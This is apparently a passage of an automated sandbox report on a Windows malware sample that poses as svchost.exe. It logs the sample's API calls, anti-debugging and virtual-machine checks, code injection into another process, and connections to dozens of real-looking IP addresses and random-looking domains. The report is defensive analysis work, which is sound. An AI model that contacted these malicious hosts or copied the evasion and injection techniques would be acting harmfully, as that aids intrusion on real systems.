Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153D0C0 memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153D0C0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153BB20 StrStrIA,memset,memset,GetLogicalDriveStringsA,SetErrorMode,GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153BB20
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0153BBE9 GetDriveTypeA,SetCurrentDirectoryA,FindFirstFileA,GetFileAttributesA,StrStrIA,StrStrIA,FindNextFileA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,SetErrorMode,10_2_0153BBE9
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_01547CE0 PathAddBackslashA,LocalAlloc,_snprintf,FindFirstFileA,LocalFree,wsprintfA,wsprintfA,wsprintfA,memset,lstrcpynA,FindNextFileA,FindClose,10_2_01547CE0
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_0154BE40 memset,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindClose,10_2_0154BE40
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_015266D0 PathAddBackslashA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,FindFirstFileA,GetProcessHeap,HeapAlloc,memset,lstrcpynA,PathAddBackslashA,SetFileAttributesA,SetFileAttributesA,SetFileAttributesA,DeleteFileA,MoveFileExA,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,FindNextFileA,FindClose,SetFileAttributesA,RemoveDirectoryA,10_2_015266D0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C9C3DB GetLogicalDriveStringsA,GetDriveTypeA,SetErrorMode,free,2_2_02C9C3DB
Source: C:\Windows\apppatch\svchost.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: svchost.exe, 00000002.00000003.2434703123.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2378939209.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330154891.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2365586008.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3302424542.0000000000893000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3267140420.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2558551911.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2785163841.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3388007673.0000000000884000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2610102916.0000000000883000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2646474973.0000000000883000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWMSAFD RfComm [Bluetooth]
Source: svchost.exe, 00000002.00000003.2334859023.0000000000882000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWMSAFD RfComm [Bluetooth]g
Source: svchost.exe, 00000002.00000002.3383391050.0000000000826000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: hwindows\apppatch\vmhgfs.DLL
Source: svchost.exe, 00000002.00000003.2323585198.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2384269083.0000000000882000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2296191981.0000000000883000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWMSAFD RfComm [Bluetooth]>
Source: svchost.exe, 00000002.00000002.3384985435.0000000000848000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000016.00000002.2606731229.0000000000658000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000C48000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
Source: svchost.exe, 00000002.00000002.3383391050.0000000000826000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW(
Source: NcYLgtXIKJgHj.exe, 0000001F.00000002.2695589851.0000000000C48000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWh
Source: NcYLgtXIKJgHj.exe, 00000006.00000002.2554600445.00000000015E8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW_
Source: NcYLgtXIKJgHj.exe, 0000000A.00000002.2578890120.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 0000000E.00000002.2553613920.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, NcYLgtXIKJgHj.exe, 00000024.00000002.2644543584.0000000000706000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Windows\apppatch\svchost.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPortJump to behavior
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeProcess queried: DebugPort
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401A30 rdtsc 0_2_00401A30
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_017564A0 OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,EnterCriticalSection,LeaveCriticalSection,VirtualQuery,LdrInitializeThunk,VirtualQuery,LdrInitializeThunk,VirtualQuery,EnterCriticalSection,GetProcessHeap,HeapAlloc,OpenProcess,GetProcessTimes,GetHandleInformation,CloseHandle,LeaveCriticalSection,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,Sleep,6_2_017564A0
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_02C76A30 NtQuerySystemInformation,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,_snprintf,memset,_snprintf,OpenMutexA,2_2_02C76A30
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00401FC0 memset,SHGetFolderPathA,PathAppendA,SetCurrentDirectoryA,LoadLibraryA,GetProcAddress,FreeLibrary,0_2_00401FC0
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00406800 mov eax, dword ptr fs:[00000030h]0_2_00406800
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00406B60 mov eax, dword ptr fs:[00000030h]0_2_00406B60
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_00406B60 mov edx, dword ptr fs:[00000030h]0_2_00406B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00406800 mov eax, dword ptr fs:[00000030h]2_2_00406800
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00406B60 mov eax, dword ptr fs:[00000030h]2_2_00406B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_00406B60 mov edx, dword ptr fs:[00000030h]2_2_00406B60
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029A1360 mov eax, dword ptr fs:[00000030h]2_2_029A1360
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029A1360 mov edx, dword ptr fs:[00000030h]2_2_029A1360
Source: C:\Windows\apppatch\svchost.exeCode function: 2_2_029A1000 mov eax, dword ptr fs:[00000030h]2_2_029A1000
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_016E1360 mov eax, dword ptr fs:[00000030h]6_2_016E1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_016E1360 mov edx, dword ptr fs:[00000030h]6_2_016E1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 6_2_016E1000 mov eax, dword ptr fs:[00000030h]6_2_016E1000
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_02FA1360 mov eax, dword ptr fs:[00000030h]7_2_02FA1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_02FA1360 mov edx, dword ptr fs:[00000030h]7_2_02FA1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 7_2_02FA1000 mov eax, dword ptr fs:[00000030h]7_2_02FA1000
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C1360 mov eax, dword ptr fs:[00000030h]10_2_014C1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C1360 mov edx, dword ptr fs:[00000030h]10_2_014C1360
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: 10_2_014C1000 mov eax, dword ptr fs:[00000030h]10_2_014C1000
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeCode function: 0_2_004010A0 CreateFileA,GetFileSizeEx,GetProcessHeap,RtlAllocateHeap,memset,ReadFile,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetHandleInformation,CloseHandle,IsBadWritePtr,0_2_004010A0

HIPS / PFW / Operating System Protection Evasion

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 106.15.232.163 8000Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 3.94.10.34 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.190.63.136 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 72.52.179.174 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: lykywid.com
Source: C:\Windows\apppatch\svchost.exeDomain query: vofycim.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.85.183.50 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 64.225.91.73 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 5.79.71.205 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 99.83.170.3 443Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 52.34.198.229 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 75.2.71.199 443Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.150.10.48 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 23.253.46.64 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.191.50.83 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 13.248.169.48 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.212.210 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 76.223.67.189 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 18.208.156.248 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 199.59.243.227 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 208.100.26.245 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 103.224.182.252 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 91.195.240.19 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: vofyruc.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 85.17.31.82 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeDomain query: pumydyg.com
Source: C:\Windows\apppatch\svchost.exeDomain query: puzytap.com
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 162.255.119.102 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.97.3 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 44.221.84.105 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 154.212.231.82 80Jump to behavior
Source: C:\Windows\apppatch\svchost.exeNetwork Connect: 188.114.96.3 443Jump to behavior
Allocates memory in foreign processes
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 16E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2FA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 14C0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2920000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2790000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2650000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 5E0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2B90000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2D10000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2790000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: BD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2200000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2470000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 13D0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2860000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2CA0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2470000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 1560000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: E50000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: AD0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2230000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2150000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F30000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 9F0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 2F20000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 15A0000 protect: page execute and read and writeJump to behavior
Source: C:\Windows\apppatch\svchost.exeMemory allocated: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exe base: 26D0000 protect: page execute and read and writeJump to behavior
